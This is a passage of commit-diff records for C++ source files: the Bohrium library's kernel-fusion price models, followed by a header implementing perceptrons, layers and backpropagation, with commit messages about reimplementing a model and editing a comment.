m < NUM_OF_PRICE_MODELS; m = FusePriceModel(m + 1))\n {\n string model;\n fuse_price_model_text(m, model);\n if(iequals(e, model))\n {\n return m;\n }\n }\n cerr << \"[FUSE] WARNING: unknown price model: '\" << e;\n cerr << \"', using the default model '\" << default_model << \"' instead\" << endl;\n setenv(\"BH_PRICE_MODEL\", default_model.c_str(), 1);\n }\n return default_price_model;\n}\n\nvoid fuse_price_model_text(FusePriceModel price_model, string &output)\n{\n switch(price_model)\n {\n case UNIQUE_VIEWS:\n output = \"unique_views\";\n break;\n case TEMP_ELEMINATION:\n output = \"temp_elemination\";\n break;\n case MAX_SHARE:\n output = \"max_share\";\n break;\n case AMOS:\n output = \"amos\";\n break;\n default:\n output = \"unknown\";\n }\n}\n\nuint64_t kernel_cost(const bh_ir_kernel &kernel)\n{\n switch(selected_price_model)\n {\n case NUM_OF_PRICE_MODELS:\n selected_price_model = fuse_get_selected_price_model();\n return kernel_cost(kernel);\n case UNIQUE_VIEWS:\n return cost_unique(kernel);\n case TEMP_ELEMINATION:\n return cost_temp_elemination(kernel);\n case MAX_SHARE:\n return cost_max_share(kernel);\n case AMOS:\n return cost_amos(kernel);\n default:\n throw runtime_error(\"No price module is selected!\");\n }\n}\n\nuint64_t kernel_cost_unique_views(const bh_ir_kernel &kernel)\n{\n return cost_unique(kernel);\n}\n\nuint64_t cost_savings(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n switch(selected_price_model)\n {\n case NUM_OF_PRICE_MODELS:\n selected_price_model = fuse_get_selected_price_model();\n return cost_savings(k1, k2);\n case UNIQUE_VIEWS:\n return savings_unique(k1, k2);\n case TEMP_ELEMINATION:\n return savings_temp_elemination(k1, k2);\n case MAX_SHARE:\n return savings_max_share(k1, k2);\n case AMOS:\n return savings_amos(k1, k2);\n default:\n throw runtime_error(\"No price module is selected!\");\n }\n}\n\n} \/\/namespace bohrium\n<commit_msg>fuse-price: reimplemented the MAX_SHARE price model<commit_after>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam <http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <string>\n#include <stdexcept>\n#include <boost\/algorithm\/string\/predicate.hpp> \/\/For iequals()\n#include <bh.h>\n#include \"bh_fuse_price.h\"\n\nusing namespace std;\n\nnamespace bohrium {\n\n\/* The default fuse model *\/\nstatic const FusePriceModel default_price_model = UNIQUE_VIEWS;\n\n\/* The current selected fuse model *\/\nstatic FusePriceModel selected_price_model = NUM_OF_PRICE_MODELS;\n\n\n\/************************************************************************\/\n\/*************** Specific fuse model implementations ********************\/\n\/************************************************************************\/\n\n\/* Returns the bytes in a bh_view *\/\ninline static uint64_t bytes_in_view(const bh_view &v)\n{\n assert (!bh_is_constant(&v));\n return bh_nelements_nbcast(&v) * bh_type_size(v.base->type);\n}\n\n\/* The cost of a kernel is the sum of unique views read and written *\/\nstatic uint64_t cost_unique(const bh_ir_kernel &k)\n{\n set<bh_view> unique_views;\n unique_views.insert(k.get_input_set().begin(), k.get_input_set().end());\n unique_views.insert(k.get_output_set().begin(), k.get_output_set().end());\n\n uint64_t sum = 0;\n for(const bh_view &v: k.get_input_set())\n sum += bytes_in_view(v);\n for(const bh_view &v: k.get_output_set())\n sum += bytes_in_view(v);\n return sum;\n}\nstatic uint64_t savings_unique(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_unique(k1) + cost_unique(k2);\n uint64_t new_cost = cost_unique(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\/*\nstatic uint64_t savings_unique_old(const bh_ir_kernel &a, const bh_ir_kernel &b)\n{\n int64_t price_drop = 0;\n \/\/Subtract inputs in 'a' that comes from 'b' or is already an input in 'b'\n for(const bh_view &i: a.get_input_set())\n {\n for(const bh_view &o: b.get_output_set())\n {\n if(bh_view_aligned(&i, &o))\n price_drop += bytes_in_view(i);\n }\n for(const bh_view &o: b.get_input_set())\n {\n if(bh_view_aligned(&i, &o))\n price_drop += bytes_in_view(i);\n }\n }\n \/\/Subtract outputs from 'b' that are discared in 'a'\n for(const bh_view &o: b.get_output_set())\n {\n for(uint64_t a_instr_idx: a.instr_indexes())\n {\n const bh_instruction &a_instr = a.bhir->instr_list[a_instr_idx];\n if(a_instr.opcode == BH_DISCARD and a_instr.operand[0].base == o.base)\n {\n price_drop += bytes_in_view(o);\n break;\n }\n }\n }\n return price_drop;\n}\n*\/\n\n\/* The cost of a kernel is 'number of instruction' * 3 - 'number of temp arrays' *\/\nstatic uint64_t cost_temp_elemination(const bh_ir_kernel &k)\n{\n return k.instr_indexes().size() * 3 - k.get_temps().size();\n}\nstatic uint64_t savings_temp_elemination(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_temp_elemination(k1) + cost_temp_elemination(k2);\n uint64_t new_cost = cost_temp_elemination(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\nstatic uint64_t cost_max_share(const bh_ir_kernel &k)\n{\n if(k.instr_indexes().size() == 0)\n return 0;\n\n uint64_t shared_access = 0;\n for(uint64_t krn_idx: k.instr_indexes())\n {\n const bh_instruction &krn_instr = k.bhir->instr_list[krn_idx];\n if(bh_opcode_is_system(krn_instr.opcode))\n continue;\n \/\/Find which instructions that reads and writes to arrays \"visible\" to\n \/\/the instruction 'krn_idx'\n multiset<bh_view> read_access, read_access_outside;\n set<bh_view> write_access, write_access_outside;;\n for(uint64_t instr_idx=0; instr_idx < krn_idx; ++instr_idx)\n {\n const bh_instruction &instr = k.bhir->instr_list[instr_idx];\n if(bh_opcode_is_system(instr.opcode))\n continue;\n\n \/\/Check if the instruction is in this kernel\n bool instr_in_kernel = false;\n if(std::find(k.instr_indexes().begin(),\n k.instr_indexes().end(), instr_idx) != k.instr_indexes().end())\n instr_in_kernel = true;\n\n for(int i=bh_operands(instr.opcode)-1; i>=0; --i)\n {\n const bh_view &v = instr.operand[i];\n if(bh_is_constant(&v))\n continue;\n if(i > 0)\n {\n read_access.insert(v);\n if(not instr_in_kernel)\n read_access_outside.insert(v);\n }\n else\n {\n write_access.insert(v);\n read_access.erase(v);\n if(not instr_in_kernel)\n {\n write_access_outside.insert(v);\n }\n else\n write_access_outside.erase(v);\n read_access_outside.erase(v);\n }\n }\n }\n for(int i=1; i < bh_operands(krn_instr.opcode); ++i)\n {\n const bh_view &v = krn_instr.operand[i];\n if(bh_is_constant(&v))\n continue;\n if(write_access_outside.find(v) != write_access_outside.end())\n shared_access++;\n shared_access += read_access_outside.count(v);\n }\n }\n return shared_access;\n}\nstatic uint64_t savings_max_share(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_max_share(k1) + cost_max_share(k2);\n uint64_t new_cost = cost_max_share(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\nstatic uint64_t cost_amos(const bh_ir_kernel &k)\n{\n uint64_t N = k.bhir->instr_list.size();\n if(k.instr_indexes().size() == 0)\n return 0;\n\n uint64_t loop_overhead = 1;\n uint64_t not_tmp = k.get_parameters().size();\n uint64_t shared_access = cost_max_share(k);\n\n return loop_overhead+not_tmp*N+shared_access*N*N;\n}\nstatic uint64_t savings_amos(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_amos(k1) + cost_amos(k2);\n uint64_t new_cost = cost_amos(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\n\/************************************************************************\/\n\/*************** The public interface implementation ********************\/\n\/************************************************************************\/\n\nFusePriceModel fuse_get_selected_price_model()\n{\n using namespace boost;\n\n if(selected_price_model != NUM_OF_PRICE_MODELS)\n return selected_price_model;\n\n string default_model;\n fuse_price_model_text(default_price_model, default_model);\n\n \/\/Check enviroment variable\n const char *env = getenv(\"BH_PRICE_MODEL\");\n if(env != NULL)\n {\n string e(env);\n \/\/Iterate through the 'FusePriceModel' enum and find the enum that matches\n \/\/the enviroment variable string 'e'\n for(FusePriceModel m = UNIQUE_VIEWS; m < NUM_OF_PRICE_MODELS; m = FusePriceModel(m + 1))\n {\n string model;\n fuse_price_model_text(m, model);\n if(iequals(e, model))\n {\n return m;\n }\n }\n cerr << \"[FUSE] WARNING: unknown price model: '\" << e;\n cerr << \"', using the default model '\" << default_model << \"' instead\" << endl;\n setenv(\"BH_PRICE_MODEL\", default_model.c_str(), 1);\n }\n return default_price_model;\n}\n\nvoid fuse_price_model_text(FusePriceModel price_model, string &output)\n{\n switch(price_model)\n {\n case UNIQUE_VIEWS:\n output = \"unique_views\";\n break;\n case TEMP_ELEMINATION:\n output = \"temp_elemination\";\n break;\n case MAX_SHARE:\n output = \"max_share\";\n break;\n case AMOS:\n output = \"amos\";\n break;\n default:\n output = \"unknown\";\n }\n}\n\nuint64_t kernel_cost(const bh_ir_kernel &kernel)\n{\n switch(selected_price_model)\n {\n case NUM_OF_PRICE_MODELS:\n selected_price_model = fuse_get_selected_price_model();\n return kernel_cost(kernel);\n case UNIQUE_VIEWS:\n return cost_unique(kernel);\n case TEMP_ELEMINATION:\n return cost_temp_elemination(kernel);\n case MAX_SHARE:\n return cost_max_share(kernel);\n case AMOS:\n return cost_amos(kernel);\n default:\n throw runtime_error(\"No price module is selected!\");\n }\n}\n\nuint64_t kernel_cost_unique_views(const bh_ir_kernel &kernel)\n{\n return cost_unique(kernel);\n}\n\nuint64_t cost_savings(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n switch(selected_price_model)\n {\n case NUM_OF_PRICE_MODELS:\n selected_price_model = fuse_get_selected_price_model();\n return cost_savings(k1, k2);\n case UNIQUE_VIEWS:\n return savings_unique(k1, k2);\n case TEMP_ELEMINATION:\n return savings_temp_elemination(k1, k2);\n case MAX_SHARE:\n return savings_max_share(k1, k2);\n case AMOS:\n return savings_amos(k1, k2);\n default:\n throw runtime_error(\"No price module is selected!\");\n }\n}\n\n} \/\/namespace bohrium\n<|endoftext|>"} {"text":"<commit_before>#ifndef PERCEPTRON_H\n#define PERCEPTRON_H\n\n#include <sstream>\n#include <vector>\n#include <numeric> \/\/ inner_product\n#include <algorithm> \/\/ transform\n#include <functional> \/\/ plus, minus\n#include <assert.h>\n#include <cmath> \/\/ sqrt\n#include <initializer_list>\n\n\n#include \"randomgen.hh\"\n#include \"classifier.hh\"\n#include \"activation.hh\"\n\n\nusing namespace std;\n\n\nusing epoch_parameter = function<double(int)>;\n\n\nepoch_parameter const_epoch_parameter(double eta) {\n return [eta](int) { return eta; };\n}\n\n\nusing Weights = vector<double>;\n\n\nclass APerceptron {\n \/\/\/ induced local field of activation potential $v_k$, page 11\n virtual double inducedLocalField(const Input &x) = 0;\n \/\/\/ neuron's output (activation function applied to the induced local field)\n virtual double output(const Input &x) = 0;\n \/\/\/ neuron's weights; weights[0] is bias\n virtual Weights getWeights() const = 0;\n};\n\n\nclass Perceptron : public APerceptron, public BinaryClassifier {\nprivate:\n double bias;\n vector<double> weights;\n const ActivationFunction &activationFunction;\n\n void trainConverge_addSample(Input input, double output, double eta) {\n double y = this->output(input);\n double xfactor = eta * (output - y);\n bias += xfactor * 1.0;\n transform(\n weights.begin(), weights.end(), input.begin(),\n weights.begin() \/* output *\/,\n [&xfactor](double w_i, double x_i) { return w_i + xfactor * x_i; });\n }\n\n void trainBatch_addBatch(LabeledSet batch, double eta) {\n for (auto sample : batch) {\n double d = sample.output[0]; \/\/ desired output\n Input x = sample.input;\n bias += eta * 1.0 * d;\n transform(x.begin(), x.end(), weights.begin(), weights.begin(),\n [d, eta](double x_i, double w_i) {\n return w_i + eta * x_i * d;\n });\n }\n }\n\npublic:\n Perceptron(int n, const ActivationFunction &af = defaultSignum)\n : bias(0), weights(n), activationFunction(af) {}\n\n virtual double inducedLocalField(const Input &x) {\n assert(x.size() == weights.size());\n return inner_product(weights.begin(), weights.end(), x.begin(), bias);\n }\n\n virtual double output(const Input &x) {\n return activationFunction(inducedLocalField(x));\n }\n\n virtual bool classify(const Input &x) { return output(x) > 0; }\n\n \/\/\/ perceptron convergence algorithm (Table 1.1)\n void trainConverge(const LabeledSet &trainSet, int epochs,\n double eta = 1.0) {\n return trainConverge(trainSet, epochs, const_epoch_parameter(eta));\n }\n\n \/\/\/ perceptron convergence algorithm (Table 1.1)\n void trainConverge(const LabeledSet &trainSet, int epochs,\n epoch_parameter eta) {\n assert(trainSet.getOutputSize() == 1);\n for (int epoch = 0; epoch < epochs; ++epoch) {\n double etaval = eta(epoch);\n for (auto sample : trainSet) {\n trainConverge_addSample(sample.input, sample.output[0], etaval);\n }\n }\n }\n\n \/\/\/ batch-training algorithm (Sec 1.6, Eq. 1.42)\n void trainBatch(const LabeledSet &trainSet, int epochs, double eta = 1.0) {\n return trainBatch(trainSet, epochs, const_epoch_parameter(eta));\n }\n\n \/\/\/ batch-training algorithm (Sec 1.6, Eq. 1.42)\n void trainBatch(const LabeledSet &trainSet, int epochs,\n epoch_parameter eta) {\n assert(trainSet.getOutputSize() == 1);\n assert(trainSet.getInputSize() == weights.size());\n LabeledPairPredicate isMisclassified =\n [this](const Input &in, const Output &out) {\n return (this->output(in)) * out[0] <= 0;\n };\n \/\/ \\nabla J(w) = \\sum_{\\vec{x}(n) \\in H} ( - \\vec{x}(n) d(n) ) (1.40)\n \/\/ w(n+1) = w(n) - eta(n) \\nabla J(w) (1.42)\n for (int epoch = 0; epoch < epochs; ++epoch) {\n double etaval = eta(epoch);\n \/\/ a new batch\n LabeledSet misclassifiedSet = trainSet.filter(isMisclassified);\n \/\/ sum cost gradient over the entire bactch\n trainBatch_addBatch(misclassifiedSet, etaval);\n }\n }\n\n virtual vector<double> getWeights() const {\n vector<double> biasAndWeights(weights);\n biasAndWeights.insert(biasAndWeights.begin(), bias);\n return biasAndWeights;\n }\n\n string fmt() {\n ostringstream ss;\n for (auto it : getWeights()) {\n ss << \" \" << it;\n }\n return ss.str();\n }\n};\n\n\n\nostream &operator<<(ostream &out, const vector<double> &xs);\n\n\n\/**\n A basic perceptron, without built-in training facilities, with\n reasonable defaults to be used within `PerceptronsLayers`.\n *\/\nclass BasicPerceptron : public APerceptron {\nprivate:\n Weights weights; \/\/ weights[0] is bias\n const ActivationFunction &activationFunction;\n\n \/\/ remember the last input and internal parameters to use them\n \/\/ again in the back-propagation step\n double lastInducedLocalField; \/\/ v_j = \\sum w_i y_i\n double lastActivationValue; \/\/ y_j = \\phi (v_j)\n double lastActivationGradient; \/\/ y_j = \\phi^\\prime (v_j)\n double lastLocalGradient; \/\/ delta_j = \\phi^\\prime(v_j) e_j\n\npublic:\n BasicPerceptron(int n, const ActivationFunction &af = defaultTanh)\n : weights(n + 1), activationFunction(af) {}\n\n \/\/ one-sided Xavier initialization\n \/\/ see http:\/\/andyljones.tumblr.com\/post\/110998971763\/\n void init(unique_ptr<rng_type> &rng) {\n int n_in = weights.size()-1;\n double sigma = n_in > 0 ? sqrt(1.0\/n_in) : 1.0;\n uniform_real_distribution<double> nd(-sigma, sigma);\n generate(weights.begin(), weights.end(), [&nd, &rng] {\n double w = nd(*rng.get());\n return w;\n });\n }\n\n virtual double inducedLocalField(const Input &x) {\n double bias = weights[0];\n auto weights_2nd = next(weights.begin());\n return inner_product(weights_2nd, weights.end(), x.begin(), bias);\n }\n\n virtual double output(const Input &x) {\n double v = inducedLocalField(x);\n lastInducedLocalField = v;\n lastActivationValue = activationFunction(v);\n lastActivationGradient = activationFunction.derivative(v);\n return lastActivationValue;\n }\n\n virtual Weights getWeights() const {\n return weights;\n }\n\n void adjustWeights(Weights deltaW) {\n assert(deltaW.size() == weights.size());\n for (size_t i = 0; i < weights.size(); ++i) {\n weights[i] += deltaW[i];\n }\n }\n\n struct BPResult {\n Weights weightCorrection;\n double localGradient;\n };\n\n \/\/ Page 134. Equation (4.27) defines weight correction\n \/\/\n \/\/ $$ \\Delta w_{ji} (n) =\n \/\/ \\eta\n \/\/ \\times\n \/\/ \\delta_j (n)\n \/\/ \\times\n \/\/ y_{i} (n) $$\n \/\/\n \/\/ where $w_{ji}$ is the synaptic weight connecting neuron $i$ to neuron $j$,\n \/\/ $\\eta$ is learning rate, $delta_j (n)$ is the local [error] gradient,\n \/\/ $y_{i}$ is the input signal of the neuron $i$, $n$ is the epoch number\n \/\/\n \/\/ The local gradient is the product of the activation function derivative\n \/\/ and the error signal.\n \/\/\n \/\/ Return a vector of weight corrections and the local gradient value.\n \/\/\n \/\/ The method should be called _after_ `forwardPass`\n BPResult backwardPass(const Input &inputs, double errorSignal,\n double learningRate) {\n assert(inputs.size() + 1 == weights.size());\n size_t nInputs = weights.size();\n double localGradient = lastActivationGradient * errorSignal;\n double multiplier = learningRate * localGradient;\n Weights delta_W(nInputs, multiplier);\n for (size_t i = 0; i < inputs.size(); ++i) {\n delta_W[i + 1] *= inputs[i];\n }\n lastLocalGradient = localGradient;\n return BPResult{delta_W, localGradient};\n }\n};\n\n\n\/\/\/ A fully connected layer of perceptrons.\nclass PerceptronsLayer {\nprivate:\n unsigned int nInputs;\n unsigned int nNeurons;\n vector<BasicPerceptron> neurons;\n Output lastOutput;\n\npublic:\n PerceptronsLayer(unsigned int nInputs = 0, unsigned int nOutputs = 0,\n const ActivationFunction &af = defaultTanh)\n : nInputs(nInputs), nNeurons(nOutputs),\n neurons(nOutputs, BasicPerceptron(nInputs, af)),\n lastOutput(nOutputs) {}\n\n void init(unique_ptr<rng_type> &rng) {\n for (size_t i = 0; i < neurons.size(); ++i) {\n neurons[i].init(rng);\n }\n }\n\n void adjustWeights(vector<Weights> weightDeltas) {\n assert(nNeurons == weightDeltas.size());\n for (size_t i = 0; i < neurons.size(); ++i) {\n neurons[i].adjustWeights(weightDeltas[i]);\n }\n }\n\n \/\/ Pages 132-133.\n \/\/ Return a vector of outputs.\n Output forwardPass(const Input &inputs) {\n for (auto i = 0u; i < nNeurons; ++i) {\n lastOutput[i] = neurons[i].output(inputs);\n }\n return lastOutput;\n }\n\n struct BPResult {\n Output propagatedErrorSignal;\n vector<Weights> weightCorrections;\n };\n\n \/\/ Page 134. Update synaptic weights.\n \/\/\n \/\/ Return a vector of back-propagated error signal\n \/\/\n \/\/ $$ e_j = \\sum_k \\delta_k w_{kj} $$\n \/\/\n \/\/ where $e_j$ is an error propagated from all downstream neurons to the\n \/\/ neuron $j$, $\\delta_k$ is the local gradient of the downstream neurons\n \/\/ $k$, $w_{kj}$ is the synaptic weight of the $j$-th input of the\n \/\/ downstream neuron $k$.\n \/\/\n \/\/ The method should be called _after_ `forwardPass`\n BPResult backwardPass(const Input &inputs, const Output &errorSignals,\n double learningRate) {\n assert(errorSignals.size() == neurons.size());\n auto eta = learningRate;\n vector<Weights> weightDeltas(0);\n Weights propagatedErrorSignals(nInputs, 0.0);\n for (auto k = 0u; k < nNeurons; ++k) {\n auto error_k = errorSignals[k];\n auto r = neurons[k].backwardPass(inputs, error_k, eta);\n Weights delta_Wk = r.weightCorrection;\n double delta_k = r.localGradient;\n Weights Wk = neurons[k].getWeights();\n for (auto j = 0u; j < nInputs; ++j) {\n propagatedErrorSignals[j] += delta_k * Wk[j + 1];\n }\n weightDeltas.push_back(delta_Wk);\n }\n return BPResult{propagatedErrorSignals, weightDeltas};\n }\n\n friend ostream &operator<<(ostream &out, const PerceptronsLayer &net);\n};\n\n\n\/\/\/ Multiple layers of perceptrons stack one upon another.\nclass PerceptronsNetwork {\nprivate:\n vector<PerceptronsLayer> layers;\n\npublic:\n PerceptronsNetwork(initializer_list<unsigned int> shape,\n const ActivationFunction &af = defaultTanh)\n : layers(0) {\n auto pIn = shape.begin();\n auto pOut = next(pIn);\n for (; pOut != shape.end(); ++pIn, ++pOut) {\n PerceptronsLayer layer(*pIn, *pOut, af);\n layers.push_back(layer);\n }\n }\n\n void init(unique_ptr<rng_type> &rng) {\n for (auto i = 0u; i < layers.size(); ++i) {\n layers[i].init(rng);\n }\n }\n\n\n friend ostream &operator<<(ostream &out, const PerceptronsNetwork &net);\n};\n\n\nostream &operator<<(ostream &out, const PerceptronsLayer &layer) {\n size_t n = layer.neurons.size();\n for (size_t j = 0; j < n; ++j) {\n if (j == 0) {\n out << \"[\";\n } else {\n out << \" \";\n }\n out << layer.neurons[j].getWeights();\n if (j >= n - 1) {\n out << \"]\";\n } else {\n out << \",\\n\";\n }\n }\n return out;\n}\n\n\nostream &operator<<(ostream &out, const PerceptronsNetwork &net) {\n for (PerceptronsLayer l : net.layers) {\n out << l << \"\\n\";\n }\n return out;\n}\n\n\nostream &operator<<(ostream &out, const vector<double> &xs) {\n int n = xs.size();\n out << \"[ \";\n for (int i = 0; i < n - 1; ++i) {\n out << xs[i] << \", \";\n }\n out << xs[n - 1] << \" ]\";\n return out;\n}\n\n#endif \/* PERCEPTRON_H *\/\n<commit_msg>edit method comment (backwardPass)<commit_after>#ifndef PERCEPTRON_H\n#define PERCEPTRON_H\n\n#include <sstream>\n#include <vector>\n#include <numeric> \/\/ inner_product\n#include <algorithm> \/\/ transform\n#include <functional> \/\/ plus, minus\n#include <assert.h>\n#include <cmath> \/\/ sqrt\n#include <initializer_list>\n\n\n#include \"randomgen.hh\"\n#include \"classifier.hh\"\n#include \"activation.hh\"\n\n\nusing namespace std;\n\n\nusing epoch_parameter = function<double(int)>;\n\n\nepoch_parameter const_epoch_parameter(double eta) {\n return [eta](int) { return eta; };\n}\n\n\nusing Weights = vector<double>;\n\n\nclass APerceptron {\n \/\/\/ induced local field of activation potential $v_k$, page 11\n virtual double inducedLocalField(const Input &x) = 0;\n \/\/\/ neuron's output (activation function applied to the induced local field)\n virtual double output(const Input &x) = 0;\n \/\/\/ neuron's weights; weights[0] is bias\n virtual Weights getWeights() const = 0;\n};\n\n\nclass Perceptron : public APerceptron, public BinaryClassifier {\nprivate:\n double bias;\n vector<double> weights;\n const ActivationFunction &activationFunction;\n\n void trainConverge_addSample(Input input, double output, double eta) {\n double y = this->output(input);\n double xfactor = eta * (output - y);\n bias += xfactor * 1.0;\n transform(\n weights.begin(), weights.end(), input.begin(),\n weights.begin() \/* output *\/,\n [&xfactor](double w_i, double x_i) { return w_i + xfactor * x_i; });\n }\n\n void trainBatch_addBatch(LabeledSet batch, double eta) {\n for (auto sample : batch) {\n double d = sample.output[0]; \/\/ desired output\n Input x = sample.input;\n bias += eta * 1.0 * d;\n transform(x.begin(), x.end(), weights.begin(), weights.begin(),\n [d, eta](double x_i, double w_i) {\n return w_i + eta * x_i * d;\n });\n }\n }\n\npublic:\n Perceptron(int n, const ActivationFunction &af = defaultSignum)\n : bias(0), weights(n), activationFunction(af) {}\n\n virtual double inducedLocalField(const Input &x) {\n assert(x.size() == weights.size());\n return inner_product(weights.begin(), weights.end(), x.begin(), bias);\n }\n\n virtual double output(const Input &x) {\n return activationFunction(inducedLocalField(x));\n }\n\n virtual bool classify(const Input &x) { return output(x) > 0; }\n\n \/\/\/ perceptron convergence algorithm (Table 1.1)\n void trainConverge(const LabeledSet &trainSet, int epochs,\n double eta = 1.0) {\n return trainConverge(trainSet, epochs, const_epoch_parameter(eta));\n }\n\n \/\/\/ perceptron convergence algorithm (Table 1.1)\n void trainConverge(const LabeledSet &trainSet, int epochs,\n epoch_parameter eta) {\n assert(trainSet.getOutputSize() == 1);\n for (int epoch = 0; epoch < epochs; ++epoch) {\n double etaval = eta(epoch);\n for (auto sample : trainSet) {\n trainConverge_addSample(sample.input, sample.output[0], etaval);\n }\n }\n }\n\n \/\/\/ batch-training algorithm (Sec 1.6, Eq. 1.42)\n void trainBatch(const LabeledSet &trainSet, int epochs, double eta = 1.0) {\n return trainBatch(trainSet, epochs, const_epoch_parameter(eta));\n }\n\n \/\/\/ batch-training algorithm (Sec 1.6, Eq. 1.42)\n void trainBatch(const LabeledSet &trainSet, int epochs,\n epoch_parameter eta) {\n assert(trainSet.getOutputSize() == 1);\n assert(trainSet.getInputSize() == weights.size());\n LabeledPairPredicate isMisclassified =\n [this](const Input &in, const Output &out) {\n return (this->output(in)) * out[0] <= 0;\n };\n \/\/ \\nabla J(w) = \\sum_{\\vec{x}(n) \\in H} ( - \\vec{x}(n) d(n) ) (1.40)\n \/\/ w(n+1) = w(n) - eta(n) \\nabla J(w) (1.42)\n for (int epoch = 0; epoch < epochs; ++epoch) {\n double etaval = eta(epoch);\n \/\/ a new batch\n LabeledSet misclassifiedSet = trainSet.filter(isMisclassified);\n \/\/ sum cost gradient over the entire bactch\n trainBatch_addBatch(misclassifiedSet, etaval);\n }\n }\n\n virtual vector<double> getWeights() const {\n vector<double> biasAndWeights(weights);\n biasAndWeights.insert(biasAndWeights.begin(), bias);\n return biasAndWeights;\n }\n\n string fmt() {\n ostringstream ss;\n for (auto it : getWeights()) {\n ss << \" \" << it;\n }\n return ss.str();\n }\n};\n\n\n\nostream &operator<<(ostream &out, const vector<double> &xs);\n\n\n\/**\n A basic perceptron, without built-in training facilities, with\n reasonable defaults to be used within `PerceptronsLayers`.\n *\/\nclass BasicPerceptron : public APerceptron {\nprivate:\n Weights weights; \/\/ weights[0] is bias\n const ActivationFunction &activationFunction;\n\n \/\/ remember the last input and internal parameters to use them\n \/\/ again in the back-propagation step\n double lastInducedLocalField; \/\/ v_j = \\sum w_i y_i\n double lastActivationValue; \/\/ y_j = \\phi (v_j)\n double lastActivationGradient; \/\/ y_j = \\phi^\\prime (v_j)\n double lastLocalGradient; \/\/ delta_j = \\phi^\\prime(v_j) e_j\n\npublic:\n BasicPerceptron(int n, const ActivationFunction &af = defaultTanh)\n : weights(n + 1), activationFunction(af) {}\n\n \/\/ one-sided Xavier initialization\n \/\/ see http:\/\/andyljones.tumblr.com\/post\/110998971763\/\n void init(unique_ptr<rng_type> &rng) {\n int n_in = weights.size()-1;\n double sigma = n_in > 0 ? sqrt(1.0\/n_in) : 1.0;\n uniform_real_distribution<double> nd(-sigma, sigma);\n generate(weights.begin(), weights.end(), [&nd, &rng] {\n double w = nd(*rng.get());\n return w;\n });\n }\n\n virtual double inducedLocalField(const Input &x) {\n double bias = weights[0];\n auto weights_2nd = next(weights.begin());\n return inner_product(weights_2nd, weights.end(), x.begin(), bias);\n }\n\n virtual double output(const Input &x) {\n double v = inducedLocalField(x);\n lastInducedLocalField = v;\n lastActivationValue = activationFunction(v);\n lastActivationGradient = activationFunction.derivative(v);\n return lastActivationValue;\n }\n\n virtual Weights getWeights() const {\n return weights;\n }\n\n void adjustWeights(Weights deltaW) {\n assert(deltaW.size() == weights.size());\n for (size_t i = 0; i < weights.size(); ++i) {\n weights[i] += deltaW[i];\n }\n }\n\n struct BPResult {\n Weights weightCorrection;\n double localGradient;\n };\n\n \/\/ Page 134. Equation (4.27) defines weight correction\n \/\/\n \/\/ $$ \\Delta w_{ji} (n) =\n \/\/ \\eta\n \/\/ \\times\n \/\/ \\delta_j (n)\n \/\/ \\times\n \/\/ y_{i} (n) $$\n \/\/\n \/\/ where $w_{ji}$ is the synaptic weight connecting neuron $i$ to neuron $j$,\n \/\/ $\\eta$ is learning rate, $delta_j (n)$ is the local [error] gradient,\n \/\/ $y_{i}$ is the input signal of the neuron $i$, $n$ is the epoch number\n \/\/\n \/\/ The local gradient is the product of the activation function derivative\n \/\/ and the error signal.\n \/\/\n \/\/ Return a vector of weight corrections and the local gradient value.\n \/\/\n \/\/ The method should be called _after_ `forwardPass`\n BPResult backwardPass(const Input &inputs, double errorSignal,\n double learningRate) {\n assert(inputs.size() + 1 == weights.size());\n size_t nInputs = weights.size();\n double localGradient = lastActivationGradient * errorSignal;\n double multiplier = learningRate * localGradient;\n Weights delta_W(nInputs, multiplier);\n for (size_t i = 0; i < inputs.size(); ++i) {\n delta_W[i + 1] *= inputs[i];\n }\n lastLocalGradient = localGradient;\n return BPResult{delta_W, localGradient};\n }\n};\n\n\n\/\/\/ A fully connected layer of perceptrons.\nclass PerceptronsLayer {\nprivate:\n unsigned int nInputs;\n unsigned int nNeurons;\n vector<BasicPerceptron> neurons;\n Output lastOutput;\n\npublic:\n PerceptronsLayer(unsigned int nInputs = 0, unsigned int nOutputs = 0,\n const ActivationFunction &af = defaultTanh)\n : nInputs(nInputs), nNeurons(nOutputs),\n neurons(nOutputs, BasicPerceptron(nInputs, af)),\n lastOutput(nOutputs) {}\n\n void init(unique_ptr<rng_type> &rng) {\n for (size_t i = 0; i < neurons.size(); ++i) {\n neurons[i].init(rng);\n }\n }\n\n void adjustWeights(vector<Weights> weightDeltas) {\n assert(nNeurons == weightDeltas.size());\n for (size_t i = 0; i < neurons.size(); ++i) {\n neurons[i].adjustWeights(weightDeltas[i]);\n }\n }\n\n \/\/ Pages 132-133.\n \/\/ Return a vector of outputs.\n Output forwardPass(const Input &inputs) {\n for (auto i = 0u; i < nNeurons; ++i) {\n lastOutput[i] = 